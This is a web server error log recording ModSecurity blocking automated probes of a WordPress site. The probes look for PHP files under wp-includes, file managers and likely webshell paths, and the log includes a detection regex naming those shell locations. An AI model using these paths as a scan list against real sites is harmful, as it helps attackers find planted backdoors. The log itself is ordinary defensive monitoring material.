[Thu Apr 23 09:52:53.599298 2026] [:error] [pid 64998:tid 65005] [client 185.192.71.36:37447] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "ael7dYV5EysYcTLjmwhwagAAAcM"]
[Thu Apr 23 09:52:55.639657 2026] [:error] [pid 59700:tid 59718] [client 91.230.225.15:27821] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "ael7d5XyGZJFeAIDWtmNqAAAAVA"]
[Thu Apr 23 09:52:56.545322 2026] [proxy_fcgi:error] [pid 59700:tid 59705] [client 91.230.225.196:35437] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:57.103698 2026] [:error] [pid 59700:tid 59716] [client 91.230.225.196:35437] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "ael7eZXyGZJFeAIDWtmNzQAAAU4"]
[Thu Apr 23 09:52:57.643660 2026] [:error] [pid 65000:tid 65046] [client 91.230.225.15:47911] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "ael7eb6vRb9j6psK2Zb2dgAAAg0"]
[Thu Apr 23 09:52:58.798137 2026] [:error] [pid 42971:tid 42988] [client 185.192.71.31:22197] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "ael7ejEP2_5RswrH8bHUigAAAAI"]
[Thu Apr 23 09:53:00.396900 2026] [:error] [pid 64998:tid 65002] [client 185.192.71.23:63243] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "ael7fIV5EysYcTLjmwhw1gAAAcA"]
[Thu Apr 23 09:53:03.096553 2026] [:error] [pid 42972:tid 43030] [client 185.192.71.25:56677] [client 185.192.71.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "ael7f8OAb-3sOknsk4c9xAAAAE4"]
[Thu Apr 23 09:53:03.656677 2026] [:error] [pid 64998:tid 65002] [client 91.230.225.22:28773] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ael7f4V5EysYcTLjmwhxEwAAAcA"]
[Thu Apr 23 09:53:05.375470 2026] [:error] [pid 43083:tid 43095] [client 185.192.71.23:57611] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "ael7gTC5hrvNXosL83IP7gAAAMo"]
[Thu Apr 23 09:53:05.966913 2026] [:error] [pid 64967:tid 64982] [client 91.230.225.200:38019] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "ael7gYAV4GfOOdX8Qzoq8wAAAY0"]
[Thu Apr 23 09:53:06.524880 2026] [:error] [pid 42971:tid 42999] [client 185.192.71.28:23773] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "ael7gjEP2_5RswrH8bHVFAAAAA0"]
[Thu Apr 23 09:53:11.475865 2026] [:error] [pid 59700:tid 59705] [client 91.230.225.23:58735] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "ael7h5XyGZJFeAIDWtmOeAAAAUM"]
[Thu Apr 23 09:53:12.388775 2026] [:error] [pid 64998:tid 65010] [client 185.192.71.38:36503] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "ael7iIV5EysYcTLjmwhxcAAAAcg"]
[Thu Apr 23 09:53:24.139128 2026] [:error] [pid 64967:tid 64988] [client 185.192.71.35:48435] [client 185.192.71.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.35, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "ael7lIAV4GfOOdX8QzorhQAAAZM"]
[Thu Apr 23 09:53:25.923408 2026] [:error] [pid 64967:tid 64982] [client 185.192.71.35:48435] [client 185.192.71.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.35, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "ael7lYAV4GfOOdX8QzorkAAAAY0"]
[Thu Apr 23 09:53:29.217666 2026] [proxy_fcgi:error] [pid 64967:tid 64993] [client 185.192.71.35:48435] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:39.762292 2026] [:error] [pid 64967:tid 64969] [client 185.192.71.35:48435] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "ael7o4AV4GfOOdX8QzosGAAAAYA"]
[Thu Apr 23 09:53:41.185659 2026] [:error] [pid 64967:tid 64992] [client 185.192.71.22:58159] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "ael7pYAV4GfOOdX8QzosIQAAAZc"]
[Thu Apr 23 09:53:42.378966 2026] [:error] [pid 64967:tid 64984] [client 185.192.71.23:60127] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "ael7poAV4GfOOdX8QzosKwAAAY8"]
[Thu Apr 23 09:53:45.699722 2026] [:error] [pid 43083:tid 43099] [client 91.230.225.196:64441] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "ael7qTC5hrvNXosL83IRsQAAAM4"]
[Thu Apr 23 09:53:46.944971 2026] [:error] [pid 43083:tid 43096] [client 91.230.225.207:37575] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ael7qjC5hrvNXosL83IRxwAAAMs"]
[Thu Apr 23 09:53:47.788591 2026] [:error] [pid 64998:tid 65017] [client 185.192.71.22:35935] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ael7q4V5EysYcTLjmwhzWQAAAc8"]
[Thu Apr 23 09:53:49.549108 2026] [proxy_fcgi:error] [pid 59700:tid 59714] [client 185.192.71.31:45001] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:49.868987 2026] [proxy_fcgi:error] [pid 59700:tid 59706] [client 185.192.71.31:45001] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:50.176544 2026] [:error] [pid 59700:tid 59723] [client 185.192.71.31:45001] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "ael7rpXyGZJFeAIDWtmP5wAAAVU"]
[Thu Apr 23 09:53:50.752462 2026] [:error] [pid 25635:tid 25655] [client 91.230.225.200:59489] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "ael7rsRxv6UsgRGKB3L2lwAAARA"]
[Thu Apr 23 09:53:53.461852 2026] [:error] [pid 64998:tid 65015] [client 185.192.71.35:21407] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "ael7sYV5EysYcTLjmwhzlgAAAc0"]
[Thu Apr 23 09:53:54.293009 2026] [:error] [pid 25635:tid 25639] [client 185.192.71.37:46355] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "ael7ssRxv6UsgRGKB3L2qgAAAQA"]
[Thu Apr 23 09:53:55.952343 2026] [:error] [pid 59700:tid 59726] [client 185.192.71.26:22465] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "ael7s5XyGZJFeAIDWtmQJQAAAVg"]
[Thu Apr 23 09:53:58.686485 2026] [:error] [pid 42972:tid 43027] [client 185.192.71.30:28029] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "ael7tsOAb-3sOknsk4dAJgAAAEs"]
[Thu Apr 23 09:53:59.256297 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 185.192.71.39:38045] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:00.200072 2026] [:error] [pid 64998:tid 65023] [client 185.192.71.39:38045] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "ael7uIV5EysYcTLjmwhzzgAAAdU"]
[Thu Apr 23 09:54:02.208317 2026] [proxy_fcgi:error] [pid 42972:tid 43021] [client 91.230.225.202:64869] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:02.755181 2026] [:error] [pid 42972:tid 43037] [client 91.230.225.202:64869] [client 91.230.225.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.202, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "ael7usOAb-3sOknsk4dASQAAAFU"]
[Thu Apr 23 09:54:04.169167 2026] [:error] [pid 42972:tid 43019] [client 91.230.225.202:64869] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "ael7vMOAb-3sOknsk4dAWgAAAEM"]
[Thu Apr 23 09:54:05.018643 2026] [:error] [pid 64967:tid 64990] [client 91.230.225.11:21187] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "ael7vYAV4GfOOdX8QzotMQAAAZU"]
[Thu Apr 23 09:54:06.779074 2026] [:error] [pid 42972:tid 43025] [client 91.230.225.11:20631] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "ael7vsOAb-3sOknsk4dAjwAAAEk"]
[Thu Apr 23 09:54:08.273341 2026] [:error] [pid 64998:tid 65021] [client 91.230.225.24:43279] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "ael7wIV5EysYcTLjmwh0JgAAAdM"]
[Thu Apr 23 09:54:08.811149 2026] [:error] [pid 42973:tid 43043] [client 91.230.225.199:51315] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ael7wG6I0QqmmmLTHE3uFwAAAIA"]
[Thu Apr 23 09:54:10.198253 2026] [:error] [pid 43083:tid 43101] [client 91.230.225.203:40293] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "ael7wjC5hrvNXosL83IS8gAAANA"]
[Thu Apr 23 09:54:11.291536 2026] [proxy_fcgi:error] [pid 64967:tid 64974] [client 91.230.225.14:62441] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:11.563460 2026] [:error] [pid 64967:tid 64993] [client 91.230.225.14:62441] [client 91.230.225.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "ael7w4AV4GfOOdX8QzotegAAAZg"]
[Thu Apr 23 09:54:12.522575 2026] [:error] [pid 65000:tid 65055] [client 91.230.225.13:48765] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "ael7xL6vRb9j6psK2Zb51wAAAhY"]
[Thu Apr 23 09:54:13.117543 2026] [:error] [pid 64998:tid 65004] [client 91.230.225.21:53387] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "ael7xYV5EysYcTLjmwh0TQAAAcI"]
[Thu Apr 23 09:54:13.686161 2026] [:error] [pid 42973:tid 43043] [client 91.230.225.201:34407] [client 91.230.225.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "ael7xW6I0QqmmmLTHE3udAAAAIA"]
[Thu Apr 23 09:54:14.246311 2026] [:error] [pid 64967:tid 64977] [client 185.192.71.31:34893] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "ael7xoAV4GfOOdX8QzotmgAAAYg"]
[Thu Apr 23 09:54:14.822185 2026] [:error] [pid 42972:tid 43027] [client 185.192.71.35:40703] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "ael7xsOAb-3sOknsk4dBBwAAAEs"]
[Thu Apr 23 09:54:15.395701 2026] [:error] [pid 42971:tid 43007] [client 91.230.225.21:48769] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "ael7xzEP2_5RswrH8bHXqwAAABU"]
[Thu Apr 23 09:54:16.533148 2026] [:error] [pid 42971:tid 43000] [client 91.230.225.14:33441] [client 91.230.225.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "ael7yDEP2_5RswrH8bHXwwAAAA4"]
[Thu Apr 23 09:54:17.093369 2026] [:error] [pid 59700:tid 59710] [client 91.230.225.203:20439] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "ael7yZXyGZJFeAIDWtmQ7wAAAUg"]
[Thu Apr 23 09:54:17.705728 2026] [:error] [pid 43083:tid 43106] [client 91.230.225.24:26683] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "ael7yTC5hrvNXosL83ITTAAAANU"]
[Thu Apr 23 09:54:18.293803 2026] [:error] [pid 64998:tid 65021] [client 91.230.225.21:55779] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "ael7yoV5EysYcTLjmwh0dwAAAdM"]
[Thu Apr 23 09:54:18.853365 2026] [:error] [pid 42971:tid 42994] [client 185.192.71.32:33305] [client 185.192.71.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "ael7yjEP2_5RswrH8bHX4AAAAAg"]
[Thu Apr 23 09:54:20.565319 2026] [proxy_fcgi:error] [pid 65000:tid 65037] [client 91.230.225.198:38993] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:21.484963 2026] [:error] [pid 65000:tid 65049] [client 91.230.225.198:38993] [client 91.230.225.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.198, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "ael7zb6vRb9j6psK2Zb6PwAAAhA"]
